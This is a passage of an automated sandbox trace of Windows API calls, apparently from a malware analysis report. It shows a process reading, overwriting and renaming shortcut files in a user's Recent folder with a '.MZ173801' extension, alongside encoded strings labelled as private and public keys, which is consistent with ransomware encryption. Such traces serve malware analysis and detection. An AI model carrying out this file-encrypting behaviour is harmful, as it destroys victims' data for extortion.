"c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-fcpg55nrtj-u6_pa.lnk")) returned 0x20 [0146.840] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FCpg55NRtj-U6_PA.lnk", dwFileAttributes=0x80) returned 1 [0146.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0146.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x253442c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0146.845] GetCurrentThreadId () returned 0xab4 [0146.846] GetCurrentThreadId () returned 0xab4 [0146.846] GetCurrentThreadId () returned 0xab4 [0146.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0146.846] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x254548c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0146.847] GetCurrentThreadId () returned 0xab4 [0146.847] GetCurrentThreadId () returned 0xab4 [0146.847] GetCurrentThreadId () returned 0xab4 [0146.847] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FCpg55NRtj-U6_PA.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-fcpg55nrtj-u6_pa.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.847] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0146.847] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.847] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x403 [0146.847] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0146.847] ReadFile (in: hFile=0x280, lpBuffer=0x250eb40, nNumberOfBytesToRead=0x403, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x250eb40*, lpNumberOfBytesRead=0x19fa18*=0x403, lpOverlapped=0x0) returned 1 [0146.848] CloseHandle (hObject=0x280) returned 1 [0146.849] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FCpg55NRtj-U6_PA.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-fcpg55nrtj-u6_pa.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0146.849] WriteFile (in: hFile=0x280, lpBuffer=0x2510b70*, nNumberOfBytesToWrite=0x403, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2510b70*, lpNumberOfBytesWritten=0x19fa24*=0x403, lpOverlapped=0x0) returned 1 [0146.850] CloseHandle (hObject=0x280) returned 1 [0146.851] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FCpg55NRtj-U6_PA.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-fcpg55nrtj-u6_pa.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-FCpg55NRtj-U6_PA.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-fcpg55nrtj-u6_pa.lnk.mz173801")) returned 1 [0146.852] GetCurrentThreadId () returned 0xab4 [0146.852] GetCurrentThreadId () returned 0xab4 [0146.852] GetCurrentThreadId () returned 0xab4 [0146.852] GetCurrentThreadId () returned 0xab4 [0146.852] GetCurrentThreadId () returned 0xab4 [0146.852] GetCurrentThreadId () returned 0xab4 [0146.852] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54be226b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54be226b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54c08586, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x26b, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-kGuY.lnk", cAlternateFileName="")) returned 1 [0146.852] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0146.852] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0146.852] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-kGuY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-kguy.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54be226b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x54be226b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x54c08586, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x26b)) returned 1 [0146.852] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-kGuY.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\-kguy.lnk")) returned 0x20 [0146.852] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\-kGuY.lnk", dwFileAttributes=0x80) returned 1 [0146.854] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 